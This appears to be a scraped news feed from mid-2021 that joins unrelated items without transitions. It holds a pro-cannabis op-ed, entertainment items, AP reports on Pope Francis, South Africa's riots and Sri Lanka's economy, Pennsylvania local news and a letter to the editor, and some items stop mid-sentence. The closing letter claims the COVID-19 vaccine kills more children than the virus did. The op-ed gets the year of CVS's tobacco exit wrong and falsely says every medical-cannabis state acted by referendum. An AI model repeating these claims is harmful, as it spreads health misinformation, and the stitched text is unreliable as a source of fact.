As of November 2020, 38 states have approved medical cannabis, and all of them did so by citizens referendum. Evidence suggests that every one of these states will progress from medical cannabis into adult-use cannabis over time. According to Pew, only Americans in the Silent Generation (born before 1946) disfavor full federal cannabis legalization. Republicans are only 47% in favor of legalization, but support rises dramatically among younger party members, with nearly 60% of under-40 Republicans wanting full legalization.

In 2017, when CVS executed its exit from selling tobacco products in its nearly 10,000 stores, my friend Hank Casillas was the executive in charge of the companys secret internal process of looking at this issue. CVS had recently expanded by acquiring Caremark, and it decided to signal the market that CVS was much more than a drugstore chain: It had, in essence, also become a health care company. The consensus that emerged from these deliberations was that a company with a mission to help people heal should not be selling cancer sticks.

But if a health care company shouldnt sell tobacco products, what about the other questionable products, including salty snacks, sugary treats, alcohol, and caffeine? Debate arose in the boardroom, particularly given the $800 million annual profit that would go up in smoke if CVS banned tobacco from its shelves.

After studying the question, the committee consulted with the CVS health care officer, who weighed in with his wisdom. All of the categories, with the exception of tobacco, had some redeeming value when ingested in moderation. Only cigarettes were designed to be addictive  and were destined to kill you.

Today, Hank is devoting the next phase of his career to the nascent cannabis industry. He points out that the similarities between cannabis and the other bad for you categories are numerous, but the difference is crucial. Of all of these categories, only cannabis has any medicinal properties. A recent survey shows that 60% of regular cannabis users list sleep as their primary use case.

According to the Centers for Disease Control, excessive alcohol use is responsible for more than 95,000 deaths in the United States each year, or 261 deaths per day. Alcoholism is typically a lifelong disease that afflicts a significant portion of our society. It has devastating effects on families and communities.

Although cannabis abuse does cause laziness and has been shown to stunt brain growth in teen users, death by marijuana overdoses are virtually unheard-of. The societal impacts of those two substances hardly compare.

Five years ago, I discussed this discrepancy with a renowned Republican business executive- turned-philanthropist in Orange County, Calif., where I live. Knowing I had joined the cannabis industry, he told me that he did not like marijuana, nor should I quote him as being in favor of its adoption. Yet he followed his comment by musing: What if one effect of cannabis legalization would be to provide a safe substitute for just 10% of Americans suffering from alcoholism? Wed be in a better place as a society.

His prescience was remarkable. In 2021, we are now poised to be the largest country in the world to take on comprehensive federal cannabis reform. We are going to put the legislative and regulatory infrastructure around a $60 billion industry using modern tools and techniques.

On Wednesday, Sens. Chuck Schumer, Ron Wyden, and Cory Booker will release a draft of their proposed legislation. Then, the federal government, just like the Founders designed, will develop policy based on the learnings from the individual states. Given the trio of leaders, its easy to imagine this will develop quickly and effectively. We know so much more about cannabis and how people use it than any industry has ever known at the dawn if its development.

States rights activists should be strongly in favor of cannabis reform. So too should anyone who prefers a rules-based system of commerce over one governed by guns and organized crime. Crimefighters should appreciate the potential mitigation of the long-term effects of alcohol abuse. Elected officials will rejoice over the millions of pay-for dollars they can use on their pet projects. (Infrastructure, anyone?)
Netflix is giving a glimpse of the new film Fear Street Part Three: 1666.

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The streaming service shared a trailer for the horror film Wednesday featuring Kiana Madeira as Deena Johnson and Sarah Fier.

The preview shows Deena (Madeira) go back to 1666 to learn the origins of Sarah Fier's curse on the town of Shadyside. In the past, she is caught up in a witch hunt that has deadly consequences for centuries to come.

"The origins of Sarah Fier's curse are finally revealed as history comes full circle on a night that changes the lives of Shadysiders forever," an official description reads.

Ashley Zukerman, Gillian Jacobs, Sadie Sink, Olivia Scott Welch and Benjamin Flores, Jr., co-star.

1666 is the third and final installment in the Fear Street trilogy of films, following Fear Street Part One: 1994 and Fear Street Part Two: 1978. The movies are based on the R.L. Stine book series and are directed by Leigh Janiak.

1666 premieres Friday on Netflix.
By Elizabeth Kwiatkowski, 07/14/2021



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What couples are still together and which MAFS couples have broken up and divorced? And where are they now?

has featured 44 different couples getting married at first sight on it's first twelve seasons -- so which couples are still together, who has broken up and divorced, and where are they all now?Each season of -- which premiered in the United States seven years ago and is based on a Danish series -- features couples (previously three couples, but four couples on Seasons 8 and 9, and five couples beginning with Season 10) being matched together by relationship experts and agree to marry when they first meet.Complete strangers become husband and wife in a matter of minutes, and the couples' lives are then documented by TV cameras over the course of the next four to eight weeks (eight weeks, in the case of 's most recent seasons).The couples typically enjoy their first night together in a hotel after exchanging vows -- with some couples deciding to consummate their marriage immediately -- and then embark on a honeymoon, move in together, and simply attempt to deal with the struggles of daily life as man and wife.At the end of the extreme marriage experiment, each couple must decide whether they'd like to stay married or get a divorce on "Decision Day."has experienced very mixed results over the years. While a significant number of couples decide to stay together and continue their new marriage at the end of their season, the real world seems to hit them hard after the cameras leave, resulting in the couple splitting up only months later.Do cast members see a different side of their spouses once cameras are gone, or do the romances naturally fizzle over time?Some couples are still together to this day and are extremely happy. Jamie Otis and Doug Hehner from Season 1, for example, have had two children.Several other couples have also had children -- including Ashley Petta and Anthony D'Amico Shawniece Jackson and Jephte Pierre Danielle Bergman and Bobby Dodd , and Deonna McNeill and Greg Okotie However, there are also relationships that ended badly. Jessica Castro from Season 2, for instance, accused Ryan De Nino of alleged death threats, and she went on to file a restraining order and lawsuit against him.Some couples have also never even made it to "Decision Day" and ended their marriage prematurely, including Season 4 couple Heather Seidel and Derek Schwartz as well as Season 6 couple Molly Duff and Jonathan Francetic Are the remaining couples now lovers, friends or enemies?! What about early season couples like Cortney Hendrix and Jason Carrion, Jaclyn Methuen and Ryan Ranellone, Vanessa Nelson and Tres Russell, Sonia Granados and Nick Pendergrast, and Lillian Vilchez and Tom Wilson?And how about more recent season couples like Danielle DeGroot and Cody Knapek Sheila Downs and Nate Duhon Jaclyn Schwartzberg and Ryan Buckley Dave Flaherty and Amber Martorana , and Tristan Thompson and Mia Bally Keith Dewar and Kristine Killingsworth , and AJ Vollmoeller and Stephanie Sersen Click thelink below to see photos of each couple and find out!

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Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade.
Nicolas Cage says he will no longer star in Amazon's Tiger King series.

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The 57-year-old actor told Variety that the moment has passed for him to play Joe Exotic, a big cat breeder and convicted felon, in the show.

"We should clear the record," Cage said. "I read two excellent scripts, which I did think were excellent, but I think Amazon ultimately felt that it was material that had become past tense because it took so long for it to come together."

"They felt at one point that it was lightning in a bottle, but that point has since faded into the distance and it's no longer relevant," he added.

The Amazon series is based on the Texas Monthly article "Joe Exotic: A Dark Journey Into the World of a Man Gone Wild" by Leif Reigstad. Netflix previously released the documentary Tiger King about Exotic in March 2020.

Sources said the Amazon series, produced by Imagine and CBS Studios, may be shopped to other outlets.

Peacock is developing its own Tiger King series starring John Cameron Mitchell and Kate McKinnon. The show is based on Season 2 of the Wondery podcast Over My Dead Body from Robert Moor.

Cage will next star in the thriller drama Pig, which opens in theaters Friday. He will also play a fictionalized version of himself in the upcoming film The Unbearable Weight of Massive Talent.
TRAVERSE CITY [mdash] Lee Harrison Gardner, of Traverse City, passed away peacefully on July 10, 2021, surrounded by his wife and children. He was born on Nov. 18, 1950 to the late Polly Isabel (Harrison) and Stephen Vandergrift Gardner. Wife Candy (Smith) has been the love of his life for o
Porterville, CA (93257)

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According to Flagpole Magazine, new plans filed with the Athens-Clarke County Planning Commission show The Varsity location on Broad Street is set to be demolished for a grocery store and apartments. The popular restaurant chain also plans to open two new locations in Oconee and Barrow counties.

The plans show a 6-story building on the corner of Milledge Avenue and Broad Street, with 4 stories of apartments above a grocery store and 1 story for parking.

Two additional 5-story buildings are set to be stationed on Broad Street with retail below, a parking deck, a swimming pool facing Chase Street and 2-story townhouses facing Reese Street.

The landmark fast food restaurant recently announced its plans to close the Broad Street location, where it has been since 1964. The restaurant also said they plan to open two new locations in Oconee and Barrow counties.

The Oconee County location will be on Parkway Boulevard near the Oconee Connector, just across the border of Athens-Clarke County. The Barrow County location will be in The Gateway at the University Parkway shopping center.

We are incredibly grateful for the many years of support from our customers in Athens and we look forward to serving them again soon at a new location in the Athens area, the company wrote on social media. The Varsity first opened in Athens in 1932.

The Varsity owners, the Gordy family, have been buying up properties surrounding The Varsity for years and filed for a demolition review to obtain a permit in May.

The process was delayed by District 3 Commissioner Melissa Link to prompt discussion, but the process cannot be outright denied by the Planning Commission. The review was completed in late June.
Feds charge 4 in Iran plot to kidnap activist in US, others

An Iranian intelligence officer and three members of an Iranian intelligence network have been charged in Manhattan with plotting to kidnap a prominent Iranian opposition activist and writer in exile and take her back to Tehran
Greenville, NC (27833)

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Cuban officials say one person has died during demonstrations that have shaken the island in recent days by protesting over food shortages, high prices and other grievances against the government
Brattleboro, VT (05301)

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Showers in the morning, then partly cloudy in the afternoon. High 76F. Winds N at 5 to 10 mph. Chance of rain 60%..

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Brattleboro, VT (05301)

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Rain showers early with some sunshine later in the day. High 76F. Winds N at 5 to 10 mph. Chance of rain 60%..

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Law enforcement cars block off the intersection of the Madison Highway and Dampier Street in Valdosta Monday following an accident which injured three firefighters and a police officer. Terry Richards/The Valdosta Daily
NOGALES, Ariz. (AP)  The U.S. Section of the International Boundary and Water Commission has awarded $13.8 million for rehabilitation of an aging cross-border sewage pipeline that has created flooding problems for years in a community north of the border with Mexico.

The commission on Monday announced the contract for SAK Construction to undertake the first phases of work on the pipeline in Arizona's Santa Cruz County, which shares the border with Mexico's Sonora state.
ROME (AP)  Pope Francis was discharged from a Rome hospital and returned home to the Vatican on Wednesday, 10 days after undergoing surgery to remove half his colon.

Francis, 84, stopped at St. Mary Major Basilica to give thanks for the success of the operation and pray for others before returning home, the Vatican said. The pope always visits the basilica after a foreign trip to pray at a beloved icon of the Virgin Mary.

Francis rode in the passenger seat of the Ford sedan, which left Romes Gemelli Polyclinic around 10:45 a.m. (0845 GMT; 4:45 a.m. EDT).

After the detour to the basilica, his small motorcade approached a side entrance to the Vatican and stopped before reaching the gate, where Francis got out with the help of a bodyguard. He greeted some Italian security guards  two army soldiers and a handful of Italian police motorcycle escorts  and got back in the car, which then proceeded through the Perugino gate.

The Vatican hotel where Francis lives is located just inside the gate.

Francis had half of his colon removed on July 4 for a severe narrowing of his large intestine, his first major surgery since he became pope in 2013. It was a planned procedure, scheduled for early July when his audiences are suspended anyway and Francis would normally take some time off.

Vatican spokesman Matteo Bruni confirmed Francis' return from the hospital and visit to the basilica. Praying before the icon, Francis expressed his gratitude for the success of his surgery and offered a prayer for all the sick, especially those he had met during his stay in hospital," Bruni said in the statement.

Francis will have several more weeks to recover before traveling again in September. There are plans for him to visit Hungary and Slovakia from Sept. 12-15, and then make a quick stop in Glasgow, Scotland, in November to participate in the COP26 climate conference. Other possible trips are also under review.

The Vatican had originally said Francis could be discharged last weekend, but later said he would stay a few extra days for further recovery and rehabilitation therapy.

His discharge, which was not announced in advance, was greeted with joy and prayers by visitors to St. Peter's Square, who said they wished for his continued recovery and Italy's recovery from the pandemic.

I'm happy the pope has left Gemelli hospital and has come back to his world, among us faithful, to hopefully bring us a lot of serenity," said Rome resident Andrea Castellani.

The surgery had caught many Vatican watchers off guard: Francis had shown no signs of the pain that often accompanies the intestinal problem he had, and even had a busy week before the operation.

The Argentine pope had part of one lung removed when he was a young man but otherwise has enjoyed relatively robust health, with the exception of sciatica nerve pain that has flared recently.

The Vatican gave consistently reassuring daily updates about his recovery, saying it was proceeding as planned. Francis had one episode of fever three days after the operation, but the Vatican said diagnostic tests and scans showed no problems.

The pope had appeared for the first time in public since the surgery on Sunday, looking in good form as he delivered his weekly prayer from the 10th floor hospital balcony, surrounded by young cancer patients. He used the occasion to call for free health care for all.

On Tuesday afternoon, he visited the pediatric cancer ward, which is on the same 10th floor as the papal hospital suite.

Once home, Francis' official Twitter account @Pontifex posted an update: I thank all those who have been close to me with prayer and affection during my hospital stay. Let us not forget to pray for the sick and for those who assist them," it said.

___

AP video journalist Luigi Navarro contributed.
JOHANNESBURG (AP)  Surveying the uneasy standoff between South African soldiers and huddles of young men faced off Wednesday across the rubble-strewn street in front of Sowetos Maponya mall, Katlego Motati shook her head sadly.

Im standing here against vandals and hooligans, the 32-year-old said of the weeklong unrest and looting sparked by the imprisonment of ex-President Jacob Zuma, which has left at least 72 people dead.

She was one of scores of residents who came out to stand against the rioting that has rocked poor areas of South Africa.

When I saw the destruction ... I was in tears, seeing how all this has panned out," Motati said. At the end of the day, we will be struggling because of this. Our economy is going to be really damaged.

South African police and the army grappled to bring order Wednesday to impoverished areas in Gauteng and Kwa-Zulu-Natal provinces that have been hit by rioting and theft sparked by Zuma's imprisonment last week.

More than 200 violent incidents happened overnight, the government said.

Authorities dramatically increased to 25,000 the number of army soldiers deployed to assist police in restoring order, Minister of Defense Nosiviwe Mapisa-Nqakula announced Wednesday night, an acknowledgment that widespread patrols may be needed to prevent renewed attacks by gangs of poor youths.

Some 1,234 people have been arrested in the mayhem, and many of the deaths were caused by chaotic stampedes as thousands of people ransacked shops, stealing food, electrical appliances, liquor and clothes, police said.

Motati said she knows some of those who took part in the looting.

People my age, in my neighborhood, are bragging about stealing things and getting shopping carts full of stuff, she said. Soon they will be coming to my place to borrow sugar. Those things won't help them.

Motati, a trained chef with her own catering business, said it is hard to find clients amid the coronavirus pandemic.

The pandemic has worsened things, for sure, but poverty, unemployment was bad already," she said of the economy, which was in recession before the pandemic.

South Africa's jobless rate of 32%, is even higher among people younger than 35. Although the country of 60 million has Africa's most developed economy, it is one of the most unequal in the world, with more than 50% of people living in poverty and many suffering chronic food insecurity, according to the World Bank.

South Africa's poverty has grown since 1994 when apartheid, the brutal system of racial oppression, ended with democratic elections, exacerbating frustrations.

The pandemic and lockdowns put even more people out of work. ... This was just an opportunity for people to take whatever they could get, Motati said. "I don't think it stems from Zuma being locked up  it was building before that. Then one person kicks down the door and others follow.

The violence erupted last week after Zuma began serving a 15-month sentence for contempt of court for refusing to comply with a court order to testify at a state-backed inquiry investigating allegations of corruption while he was president from 2009 to 2018.

The protests in Gauteng and Kwa-Zulu-Natal provinces escalated into a spree of theft in township areas, although it has not spread to South Africas other seven provinces, where police are on alert.

KwaZulu-Natal, the eastern province that is Zuma's home area and where the protests first ignited, has seen significant violence. Trucks going to and from Durban, South Africa's largest port, may have to travel in convoys protected by the army, business leaders said.

The province is the center of South Africa's largest ethnic group, the Zulus, where Zuma has drawn considerable support. However, the Zulu monarch, King Misuzulu kaZwelithini, appealed Wednesday for an end to the mayhem and for peace to be restored.

My fathers people are committing suicide, he said. When food cannot be delivered because trucks and warehouses are burned, our people will go hungry.

The violence has brought shame to all of us, he said.

Arson has damaged several factories and the government ordered gasoline not be sold in containers to discourage illegal fires.

A tense order appeared to have been achieved Wednesday by security forces in Gauteng, South Africa's most populous province which includes the largest city, Johannesburg.

I can confirm that currently its calm in Gauteng, said army Col. Mmathapelo Maine, as soldiers brandishing rifles stood by, protecting the large Maponya mall in Soweto.

We have control of the situation and this is with the cooperation of the community, Maine said.

Across the street, scores of residents lined up to buy bread from a truck selling directly to people instead of delivering to shops that had been closed.

South African President Cyril Ramaphosa met online Wednesday with National Assembly political party leaders to urge all to work together to restore order.

Ramaphosa had consultations with different sectors of society to develop a society-wide response, said Tyrone Seale, the presidents acting spokesman.

The president said the destruction witnessed by the nation hurt all South Africans, not only those in the affected areas, he said. And it hurt the poor, the elderly, and the vulnerable the most.

At Soweto's Diepkloof shopping center, business owners assessed the damage.

Its just like being raped, said Thandi Johnson, looking at her shop, TWJ Events Supply, that had been cleaned out the day before by rioters. And then you see the rapist walking past you, she said gesturing toward residents walking by.

Twelve years I've been working on this business and it's destroyed in one day, she said, shaking with anger as she looked at where she had sold balloons and decorations for childrens parties and other events.

They pushed me aside," she said of the rioters. "I pleaded with them that I am one of them, but they just came in and took everything. Look! she said pointing to the bare shelves. I didnt come here by train, Im a Sowetan! Im born here.

Johnson said she is worried that insurance will not cover her losses because she is not covered for political violence. I'll be finished, she said.

Nearby, a group of young men was sweeping up broken beer bottles and trash in front of a liquor store that had been looted the day before.

We're trying to be the youth who bring hope back to our country, said Thando Matsepe, 24, of the Zodwa Khoza Foundation, a youth development group.

Yesterday this place was destroyed. So we are trying to clean up and get the country back up on its feet, he said.

"This was crime. It was not a Free Zuma campaign. It started with Zuma, but this is not how things should be done in South Africa. They have the right to protest peacefully, nicely. But this brings destruction. Everybody will suffer."
COLOMBO, Sri Lanka (AP)  Sri Lanka has cut back on imports of farm chemicals, cars and even its staple spice turmeric as its foreign exchange reserves dwindle, hindering its ability to repay a mountain of debt as the South Asian island nation struggles to recover from the pandemic.

Toothbrush handles, venetian blinds, strawberries, vinegar, wet wipes and sugar are among the hundreds of foreign-made goods that were banned or made subject to special licensing requirements meant to chip away at a trade deficit that has been deepening the country's financial quandary for years.

Shortages are pushing prices higher for many consumer goods, from bread to construction materials to gasoline, triggering protests among Sri Lankans fed up with the prolonged crisis.

Thusitha Vipulanayake ran out of motorcycles to sell in August 2020. Usually able to sell at least 30 a month, and a dozen motorized trishaws, he now gets by selling bottled, locally grown turmeric paste and LED lightbulbs.

This is something we never expected," Vipulanayake said as he sat at his empty motorcycle showroom along a road outside the capital Colombo.

Sri Lanka was in trouble before the pandemic struck, laying low a tourism industry that is a vital source of foreign exchange earnings. It normally provides jobs for more than 3 million people and accounts for about 5% of GDP.

Visitors already were staying away after deadly suicide bombings on Easter Day 2019 killed more than 250 people. But efforts to revive the industry are falling flat as the country endures another wave of COVID-19 infections.

Now, the countrys foreign exchange reserves have dwindled to barely enough to pay for three months of imports at a time when big repayments of its foreign debts are falling due, straining its financial system. The Petroleum Minister, Udaya Gammapilla, recently said the country lacked enough cash to pay for oil imports.

To conserve precious foreign exchange, the government has limited U.S. dollar transactions. Despite the limits imposed last year, imports still outpace the country's exports of tea, rubber, seafood and garments.

The condition of the economy is in dire straits, there is no doubt about it said Muttukrishna Sarvananthan, head of the economic research group Point Pedro Institute of Development.

Sri Lanka needs to make foreign debt payments totaling $3.7 billion this year, having paid $1.3 billion so far. Thats in addition to local debt, according to the central bank. Its currency has been gradually weakening against other major currencies, making such repayments more costly in local terms.

Fitch Ratings has downgraded Sri Lanka to its CCC category, indicating a real possibility of default. It says the countrys foreign debt obligation will balloon to $29 billion over the next five years.

And it is facing the possible loss of preferential trade status for its garment exports to Europe, due to criticism over an terrorism law that critics say violates human rights.

To help rebuild its reserves, Sri Lanka obtained a $1.5 billion swap facility from China earlier this year. A $400 million swap from India will be available by August, according to the Central Bank.

Officials say they hope to attract more foreign investment and avoid seeking help from the International Monetary Fund, which tends to impose strict policy conditions on its borrowers.

The government's decision in April to ban the use of agricultural chemicals, ordering farmers to switch to organic farming, was aimed at saving $400 million a year on imports.

But Sri Lankan farmers rely heavily on such chemicals. Some said they are using cow dung, poultry litter and compost to make up for the loss of fertilizer, but the sudden switch is hurting yields.

The leaders of the country could have done better in making decisions, farmer Pathmasiri Kumara said he worked in his field in Welimada, a village in the central hills of this tropical island country. These problems come when you dont come and see the farmers and make decisions sitting on swiveling chairs.

Look at this potato plant, it's not growing the way it should because there is no fertilizer, Kumara said. It's a very sad situation. This is our main crop and if we dont get chemical fertilizer we will be losing our income for the entire year, at least by half."

The pressure is on garment makers, as well, as the European Union reviews its favorable tariff treatment for Sri Lankan products under the GSP, or generalized system of preferences. It eliminates import duties on a large share of Sri Lankas products, such as textiles, tea and fish, an advantage worth some $360 million annually, according to the EU.

A decision is not due until next year. But the impact of losing the concessions would be quite severe," said Sirimal Abeyratne, professor of economics at the University of Colombo.

About 20% of Sri Lankas total exports are to EU countries. Another 10% go to the United Kingdom, which may follow the EUs lead if it suspends its GSP status, said Abeyratne.

In the meantime, Sri Lankans are chafing at the import restrictions that are slowing activity in various industries.

Metlal Weerasuriya waited five months to buy a toilet for his home.

I went to many retail and wholesale shops. They had run out of stocks and there was a waiting list to get one, said Weerasuriya, a journalist. Finally, he tracked down one advertised online.

So, it took at least five months to buy a commode and complete the bathroom, he said.

Vipulanayake, the motorcycle dealer, said he's relying on income from a modest rubber plantation he owns, on top of his sales of various other products, to get by.

He's determined to hold onto his showroom, which is in a prime location.

I believe things will be okay and bikes will come," he said. Maybe I'm just dreaming, since things are so uncertain."
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ORWIGSBURG  The Schuylkill Haven man whose struggle with police resulted in he and his son being tased sits in prison after a judge on Tuesday ruled prosecutors had produced enough evidence to support all charges against him as a result of the May incident.

Joshua King, 35, of 619 N. Garfield Ave., faces four counts of recklessly endangering another person, three each of aggravated assault and simple assault, two of criminal mischief and one each of burglary, criminal trespass, endangering the welfare of children and resisting arrest.

After Kings preliminary hearing, Senior Magisterial District Judge Richard P. Cashman ordered all charges held for court.

King then returned to prison, where he remains in lieu of $50,000 straight cash bail pending further court proceedings.

Schuylkill Haven police charged King with breaking into 619 N. Garfield Ave., which is also his parents residence, at 9:44 p.m. May 25.

Police said that when they tried to arrest King, he resisted, including trying to hit them with a door.

Police said King hit, kicked and pushed them during the scuffle with Schuylkill Haven Patrolman Kenneth Jacoby, Orwigsburg Patrolman Brandon Bayer and Penn State University Patrolman Nicholas Windell.

King was holding his 18-month-old son, Isayah M. King, during the fight, according to police.

One of the officers tased the elder King twice, but the defendant pulled out the darts each time, police said.

During one of those attempts, two of the darts hit Isayah King in his upper left leg, according to police.

Police said they immediately deactivated the Taser when Isayah King was struck.

King also smashed the glass in the front door of his parents residence and three windows in a Dodge Ram pickup truck owned by Skook Auto Sales, according to police.
HERSHEY  Penn State Health will offer COVID-19 vaccination appointments to individuals ages 12 and older at nine Medical Group practices throughout central Pennsylvania beginning Monday, July 26.

Patients can register for and schedule their first-dose vaccination appointments beginning Thursday, July 15.

The health systems two remaining dedicated vaccination sites, 30 E. Granada Ave. in Hershey and 2400 Bernville Road in Reading, will close on Saturday, July 31. Those needing to schedule their second dose after this date should contact the call center at 844-744-8883 to make an appointment at one of the Medical Group locations.

Patients will continue to schedule their vaccinations through vaccine-scheduler.pennstatehealth.org or by contacting the call center. Each Medical Group practice will be registering the patient, administering the vaccinations and recording them in its electronic health records system.

The COVID-19 vaccinations will be offered by appointment only at each participating Medical Group practice.

In February, Penn State Health launched five dedicated vaccination sites throughout the region in a streamlined effort to meet the demands of the community. Through that effort as well as pop-up vaccination clinics targeting underserved communities, the health system has administered more than 137,000 COVID-19 vaccinations to date.

Penn State Health anticipates administering 10 to 12 COVID-19 vaccinations at each of the Medical Group practices per week, including at:
Schuylkill County business leaders say Mondays resumption of work search requirements for those who are unemployed is one step toward easing the labor shortage, but that Pennsylvania should also act to bring an early end to the extra $300 in weekly assistance paid by the federal government.

Northeast PA Manufacturers & Employers Association President Darlene J. Robbins said the job market is at a critical state locally and there are a record high 851,000 open manufacturing jobs nationwide.

She said the pandemic assistance, set to expire Sept. 6, has gone on too long.

It went from assisting to abetting, she said about the governments assistance plans. Were enabling them to stay at home and continue collecting.

Schuylkill Chamber of Commerce President/CEO Robert S. Carl Jr. said the extra $300 has created a whole set of problems.

Normal unemployment compensation plus the $300 just takes wages in a lot of industries above where people feel they need to go back to work, he said.

Carl said a U.S. Chamber of Commerce survey showed at least 25% of those not working cited the $300 as the No. 1 reason.

Twenty-six states have ended or plan to end the extra money, USA Today reported in June. While legislation to that effect has been proposed in Harrisburg, it has not been acted upon. Gov. Tom Wolf has advocated instead for an increase in the minimum wage that he believes would help get people back to work and boost the economy.

424 jobs available

The return of work search requirements, which began this week, with certification of those searches required effective next week, is a positive, Robbins said.

We want to be optimistic with the hope that it will absolutely make a difference, she said.

Workers must show each week that they applied for two jobs and participated in one work search activity. They must also register for employment services within 30 days of filing an unemployment claim.

As of Monday, the CareerLink in Pottsville had 46 new jobs posted, 424 jobs available and 1,064 registered employers.

Joseph Miscannon, a supervisor, said the office just fully reopened two weeks ago, and so the number of job seekers has been level. However, there are a lot of employers that need people, he said.

Those applying for jobs can do it in-person at CareerLink or online. Information about the various procedures are listed in a handbook, Miscannon noted.

With the changes that Unemployment Compensation has been put through since June, the person should read their handbook, he said. They need to read it.

The handbook is distributed at registration and is available on the department website.

Continued struggles

Cardinal Systems Inc. President Debra Haase said the Schuylkill Haven company, which normally employs about 250, has job openings in almost every department.

Right now we have at least 30 open positions that we could fill if we could find the right people, she said. Were trying.

Haase said human resource staff were at a day-long job fair at CareerLink in June and didnt speak to one candidate.

I know this from talking to other business owners and companies in the area that were all having the same issue in attracting people who actually want to work, she said.

Haase said the reporting restart along with the eventual end to the additional $300 should produce more applications.

Companies continue struggling to hire. They are OK with retaining, but finding employees is difficult, she said.

Luke Hoak, general manager of operations at UFP Industries Inc., Gordon, said the labor shortage has played into the costs of contracts and has put growth mode on hold.

Hoak, a board member with the Schuylkill Economic Development Corp., said labor problems were discussed at a recent meeting; one company was short 25% of its workforce.

Thats a shocking number, Hoak said. Thats our reality.

Hoak said he understands health concerns and child care needs related to the pandemic, but said, I feel we need to get back to work.

Robbins noted some employers no longer have expanded workforces as part of their strategic planning and instead plan to invest in capital improvements and advanced technology.

Overall, the problem can be summed up in one word, she said: supply.

Supply of workers, supply of freight, supply of raw product and inputs, and supply of machinery.

Trouble for little guys

A labor shortage coupled with other pandemic-related conditions will continue to spell trouble for business, Carl said.

The bigger companies, the Fortune 500 companies, of which we have 48 of them here in Schuylkill County, I think have the capacity and reserves that allow them to be a little more flexible, he said. But the little guys, the small businesses do not have that kind of capacity or reserve.

He said he just heard that a local restaurant-tavern had to close over the weekend because it couldnt get enough workers, and that Vitos Coal Fired Pizza and Restaurant at the Coal Creek Commerce in Saint Clair is now closed Mondays for the same reason.

Thats what people are doing. They either have to shorten their workweek (or) shorten their hours, Carl said. Consumer costs are going up because of both supply chain and not enough people, or paying people more money.

At the end of the day, you have to make tough decisions in what it is going to take to survive.
100 years ago  1921

The worst fire New Philadelphia has seen in many years broke out last night in the basement of Faggan and Sons shirt factory, completely destroying the interior of the building and defying the Good Intent Fire Company for three hours before it was brought under control.

75 years ago  1946

The annual church and Sunday school picnic of the English Lutheran Church, Dr. C.M. Nicholas, pastor, will be held at Cressona Community Grove a day next Thursday.

50 years ago  1971

Elmer Johnson, a Republican Party-supported county commissioner for 16 years, conceded the GOP nomination for this years general election to Charles Dimmerling, independent candidate, at 11:45 oclock this morning.

25 years ago  1996

VALLEY VIEW  When the Schwalm famliy of Valley View planned its 21st annual picnic this year, they had to worry about the usual logistics such as hiring the band and a caterer. But they had an added challenge this time  finding beds for their 39 German cousins who flew in from Europe for the event. Like layers of a German black forest cake, 300 people from across the world gathered in Valley View Park Sunday to celebrate their family ties. It was the fourth time Schwalm family members had traveled from Germany for a reunion. Sundays event united cousins from Texas, South Carolina, Germany and Hegins in one mix of German songs, Revolutionary War history and scrumptious chocolate desserts. When thunder clouds drove the crowd inside at the end of the afternoon, the relatives stormed the dessert tables and held an instant Kaffeeklatsch, the German sharing of cakes and conversation. The pride of the picnic was the 39 Germans who made the trip from Schwalmstadt to see their relatives, all of whom are descended from a Revolutionary War solider, Johannes Schwalm, who came from Germany to settle in Pennsylvania in the 1780s.
POTTSVILLE  The new administrators of the Salvation Army Pottsville Corps say they are ready to meet the needs of the community.

Lts. Gavin and Holly Yeatts took over operations of the corps on Sanderson Street on June 30. They come to Pottsville from the Salvation Army West Pittston Corps in Luzerne County, where they were administrators for three years.

Holly Yeatts said it is really nice being in Pottsville, adding that while the city is larger than West Pittston and neighboring Pittston combined, it is similar.

Theyre both small towns; everybody knows everybody, Gavin Yeatts said in an interview with his wife Monday at the corps.

They added that community leaders, the corps advisory board, the corps three employees and the public they serve have been welcoming and accepting of them since they arrived.

The two have already met with members of the Pottsville Rotary Club, Kiwanis Club and with Schuylkill United Way, of which the Salvation Army Pottsville Corps is a partner agency.

Backgrounds

Holly Yeatts was born and raised in Wilkes-Barre and has been involved with the Salvation Army since age 5, worked as a corps program assistant and has been an officer for three years. A native of Venice, Florida, Gavin Yeatts has been involved with it for nine years and has been officer for four years.

Gavin Yeatts was a veterinary technician in Florida before becoming an officer. The couple met through their work with the organization and have a 22-month-old daughter, Paisley, and are expecting their second child in January. They reside in the city.

They said their daughter has already joined them at some of the activities at the corps.

Gavin Yeatts has an associate degree in Christian leadership from Treveca University in Nashville, Tennessee, while Holly Yeatts studied nursing for three years at Luzerne County Community College.

They are working on bachelors degrees in ministry management at Asbury University in Wilmore, Kentucky.

While Gavin Yeatts started as an assistant administrator at the Salvation Army of Bridgeport, Connecticut, the twos first assignment as a couple was at the West Pittston corps, which merged last month with the Wilkes-Barre Salvation Army.

They take over from Envoys Bradley and Gina Harris, who left the Sanderson Street-based corps in late June to become administrators and pastors at the Center Hill corps in Cincinnati, Ohio.

Gavin Yeatts said they hope to continue what the Harrises did and build on it.

They did an absolutely amazing job, he said.

Programs

The Yeattses said they are focused on getting acquainted with the community, their staff and congregation.

The corps has a Bible study, groups for men, women and teens, a food pantry, offers rental assistance, runs the Kettle Campaign during the Christmas season and run a Food for the Body and Soul Cafe, which serves a hot meal to the community every Friday.

They additionally host Sunday services in a chapel in the corps building.

Holly Yeatts said they hope to continue the mission of the Salvation Army and continue to serve those in need while spreading the Gospel.

Gavin Yeatts said their goals are to meet the communitys needs, be good stewards and continue to grow.

You always want to bring in new people, volunteers and church members, he said.

After being closed for a year due to the coronavirus pandemic, the building has reopened to the public and in-person worship services have resumed, with livestreaming of them available.

The two said they are planning their first in-person event, a Vacation Bible School for children ages 5 to 12, from Aug. 2 through 6, with registration available by calling 570-622-5252 or online.

The couple said getting to know new people at the corps has been fun. Gavin Yeatts added the weekly meals give them a chance to interact with people.

That gives us a time to sit down with them, talk, find out who they are, what theyre going through in life and how we can best help them, he said. Its always nice.

Gavin Yeatts thanked the community, donors, Schuylkill United Way, volunteers and advisory board for their work.

They are such a huge part of our mission, he said. Our building is open to our donors and anyone who wants to stop by.
To the Editor:

I opened my email to find a letter telling me about a vaccine clinic being held for Pottsville Area students. In the letter, it says that all students who receive their vaccine (or have already with proof) will be eligible for a $200 Amazon gift card.

Why on earth are we bribing children to get vaccinated? (Or adults for that matter?) If it is as good as it claims to be, that should be enough of a reason to inject a vaccine not yet given formal FDA approval into our children. However, we know it isnt. Kids all across the country and world are contracting myocarditis to protect them from a virus that killed less children than the vaccine is taking.

